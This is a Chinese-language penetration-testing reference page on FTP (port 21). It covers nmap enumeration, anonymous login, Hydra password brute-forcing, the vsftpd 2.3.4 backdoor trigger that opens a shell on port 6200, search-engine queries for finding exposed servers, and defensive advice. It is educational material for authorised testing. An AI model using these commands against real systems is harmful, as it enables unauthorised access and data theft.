---
title: "21 - FTP"
weight: 21
date: "2026-03-08T22:45:09+08:00"
lastmod: "2026-03-10T13:26:55+08:00"
---

💡 **学习提示**: 本文档介绍 **21 - FTP** 的渗透测试方法，适合信息安全初学者和从业人员参考。

⚠️ **法律声明**: 本文档仅供学习和授权测试使用。未经授权的系统测试可能违反法律法规。

---

## 21 - FTP 服务

### 基本信息

**FTP (File Transfer Protocol，文件传输协议)** 是用于在网络上进行文件传输的标准网络协议。FTP 使用客户端 - 服务器架构，支持匿名访问和用户认证两种模式。

**⚠️ 安全风险**: FTP 协议本身不加密，用户名、密码和数据都以明文传输，容易被窃听和中间人攻击。

**默认端口:** 21/TCP (控制连接), 20/TCP (数据连接)

```
PORT   STATE SERVICE
21/tcp open  ftp
```

### 信息收集

#### 端口扫描

```bash
# Nmap 扫描
nmap -sV -p 21 <TARGET_IP>

# FTP 枚举脚本
nmap --script ftp-anon,ftp-bounce,ftp-libopie <TARGET_IP>
```

#### 匿名登录检查

```bash
# 尝试匿名登录
ftp <TARGET_IP>
# Username: anonymous
# Password: anonymous@

# 或使用 curl
curl ftp://<TARGET_IP>/
```

### 常见漏洞

#### 1. 匿名登录

```bash
# 匿名登录
ftp <TARGET_IP>
Name: anonymous
Password: <直接回车>

# 查看可访问文件
ls
cd /
get sensitive_file.txt
```

#### 2. 弱口令爆破

```bash
# Hydra 爆破
hydra -l ftpuser -P /usr/share/wordlists/rockyou.txt ftp://<TARGET_IP>

# 多用户爆破
hydra -L users.txt -P passwords.txt ftp://<TARGET_IP>
```

#### 3. 已知漏洞

**vsftpd 2.3.4 后门**
```bash
# 检查版本
nc <TARGET_IP> 21

# 如果显示 vsftpd 2.3.4，可能存在后门
USER test:)
# 连接 6200 端口获取 shell
nc <TARGET_IP> 6200
```

### 搜索引擎语法

#### FOFA

```bash
# FOFA 搜索语法
port="21" && protocol="ftp"
port="21" && service="ftp"
app="vsftpd"
app="ProFTPD"
```

#### Shodan

```bash
# Shodan 搜索语法
port:21 ftp
port:21 vsftpd
port:21 ProFTPD
```

#### ZoomEye

```bash
# ZoomEye 搜索语法
port:21 service:ftp
app:"vsftpd"
app:"ProFTPD"
```

### 防御建议

- ✅ 使用 SFTP 或 FTPS 替代明文 FTP
- ✅ 禁用匿名访问
- ✅ 使用强密码策略
- ✅ 限制 FTP 用户权限
- ✅ 配置防火墙规则
- ✅ 定期更新 FTP 服务器软件

---

## 📖 参考资料

- [HackTricks - 21-ftp](https://book.hacktricks.wiki/en/network-services-pentesting/21-ftp.html)
- Nmap FTP Scripts: https://nmap.org/nsedoc/categories/ftp.html
- OWASP File Upload: https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html
